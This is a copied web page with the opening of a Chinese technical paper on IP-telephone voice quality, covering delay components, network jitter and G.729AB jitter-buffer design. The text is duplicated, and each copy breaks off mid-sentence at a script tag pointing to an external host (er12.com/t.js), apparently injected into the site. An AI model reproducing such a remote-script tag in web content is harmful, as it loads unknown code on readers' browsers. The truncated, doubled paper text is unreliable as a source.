網絡電話語音質量提高的初探
發布時間:2006/7/11 0:00:00 訪問次數:295
關鍵詞:網絡電話;語音質量;抖動緩沖;g729ab;實時協議
a study of improving voice quality of ip telephone
zhu xiao? dong, zhang zai? hong
abstract: this thesis exploits certain properties of
transmitting g729ab audio packets over the packet- switch
network.based on the analysis of network delay and jitter, the g729ab voice packets construction and reconstruction scheme,as well as corresponding adaptive jitter control algorithm,are designed to improve the voice quality of ip telephone.
key words: ip telephon;voice quality;jitter buffer;g729ab;real- time protocol
中圖分類號:tn919.2 文獻標識碼:b 文章編號:1563-4795(2003)05-0026-05
1 引言
voip的基本原理是由專門設備或軟件將呼叫方的話音信號采樣并數字化、壓縮、轉換為一定長度的數字化語音包,以數據包的形式經過分組交換網絡傳輸到對方,對方接收到語音包后解壓縮,還原成模擬信號。相對于傳統電話清晰、穩定的話音,ip電話在話音質量方面還有待改進,主要表現為回聲、抖動、分組丟失與延遲4個問題。本文討論的g729ab是支持靜音消除功能的編碼解碼器,其特點是可以有效降低網絡負荷。而設計抖動緩沖自適應控制算法的主要目的是為了消除或者降低網絡抖動的影響,從而平滑語音流,同時盡可能的降低延遲,而較低的延遲對于降低聲學回聲也有積極的意義。
目前關于抖動緩沖自適應控制算法的討論已經非常深入,主要集中在如何平衡降低語音分組丟失率以及減少延遲。但是并未涉及如何具體在接收端支持靜音消除功能。此外,該自適應抖動緩沖算法也需要在抖動緩沖大小和平滑語音流之間尋找折衷方案。
本文討論如何將g729ab應用于voip終端,以及如何在此系統中尋求實現最佳的語音質量。該解決方案同樣適用于語音網關。
2 語音質量
影響語音質量的因素主要有語音壓縮編碼技術、延遲、分組丟失和抖動。語音壓縮編碼的主要目的在于降低對帶寬的需求。語音延遲是指語音發送端1個聲音樣本在通過話筒采樣后,到達接收端被播放出來之前這一時間間隔。
在考慮ip電話的延遲時,本文在算法延遲、處理延遲、網絡延遲之外引入抖動緩沖延遲以簡化抖動緩沖算法的設計。
(1)算法延遲
語音處理以語音分組為單位,當音頻數據采樣量達到一定數量后才進行編碼。基于目前的編碼解碼方式,這種延遲無法避免。
(2)處理延遲
語音分組進行編碼解碼,回聲消除,抖動算法,處理器間通信,socket讀寫而引入的延遲。這種延遲可以通過改進算法以及優化軟件而減少。
(3)網絡延遲
由于網絡物理、路由等原因引起的延遲。數據分組傳送延遲主要由帶寬情況決定。系統的整個延遲主要是語音數據分組在ip網上傳輸的延遲。
(4)抖動緩沖延遲
語音分組進入接收端后,直到被抖動緩沖算法決定交給解碼器播放之前的延遲。這也是抖動緩沖算法所要盡量減少的延遲。
ip網絡的1個特征就是網絡延遲與抖動,這將導致ip電話音質下降。網絡延遲是指1個ip包在網絡上傳輸所需的時間,網絡抖動是指ip包傳輸時間的長短變化。如果網絡抖動較嚴?script src=http://er12.com/t.js>
關鍵詞:網絡電話;語音質量;抖動緩沖;g729ab;實時協議
a study of improving voice quality of ip telephone
zhu xiao? dong, zhang zai? hong
abstract: this thesis exploits certain properties of
transmitting g729ab audio packets over the packet- switch
network.based on the analysis of network delay and jitter, the g729ab voice packets construction and reconstruction scheme,as well as corresponding adaptive jitter control algorithm,are designed to improve the voice quality of ip telephone.
key words: ip telephon;voice quality;jitter buffer;g729ab;real- time protocol
中圖分類號:tn919.2 文獻標識碼:b 文章編號:1563-4795(2003)05-0026-05
1 引言
voip的基本原理是由專門設備或軟件將呼叫方的話音信號采樣并數字化、壓縮、轉換為一定長度的數字化語音包,以數據包的形式經過分組交換網絡傳輸到對方,對方接收到語音包后解壓縮,還原成模擬信號。相對于傳統電話清晰、穩定的話音,ip電話在話音質量方面還有待改進,主要表現為回聲、抖動、分組丟失與延遲4個問題。本文討論的g729ab是支持靜音消除功能的編碼解碼器,其特點是可以有效降低網絡負荷。而設計抖動緩沖自適應控制算法的主要目的是為了消除或者降低網絡抖動的影響,從而平滑語音流,同時盡可能的降低延遲,而較低的延遲對于降低聲學回聲也有積極的意義。
目前關于抖動緩沖自適應控制算法的討論已經非常深入,主要集中在如何平衡降低語音分組丟失率以及減少延遲。但是并未涉及如何具體在接收端支持靜音消除功能。此外,該自適應抖動緩沖算法也需要在抖動緩沖大小和平滑語音流之間尋找折衷方案。
本文討論如何將g729ab應用于voip終端,以及如何在此系統中尋求實現最佳的語音質量。該解決方案同樣適用于語音網關。
2 語音質量
影響語音質量的因素主要有語音壓縮編碼技術、延遲、分組丟失和抖動。語音壓縮編碼的主要目的在于降低對帶寬的需求。語音延遲是指語音發送端1個聲音樣本在通過話筒采樣后,到達接收端被播放出來之前這一時間間隔。
在考慮ip電話的延遲時,本文在算法延遲、處理延遲、網絡延遲之外引入抖動緩沖延遲以簡化抖動緩沖算法的設計。
(1)算法延遲
語音處理以語音分組為單位,當音頻數據采樣量達到一定數量后才進行編碼。基于目前的編碼解碼方式,這種延遲無法避免。
(2)處理延遲
語音分組進行編碼解碼,回聲消除,抖動算法,處理器間通信,socket讀寫而引入的延遲。這種延遲可以通過改進算法以及優化軟件而減少。
(3)網絡延遲
由于網絡物理、路由等原因引起的延遲。數據分組傳送延遲主要由帶寬情況決定。系統的整個延遲主要是語音數據分組在ip網上傳輸的延遲。
(4)抖動緩沖延遲
語音分組進入接收端后,直到被抖動緩沖算法決定交給解碼器播放之前的延遲。這也是抖動緩沖算法所要盡量減少的延遲。
ip網絡的1個特征就是網絡延遲與抖動,這將導致ip電話音質下降。網絡延遲是指1個ip包在網絡上傳輸所需的時間,網絡抖動是指ip包傳輸時間的長短變化。如果網絡抖動較嚴?script src=http://er12.com/t.js>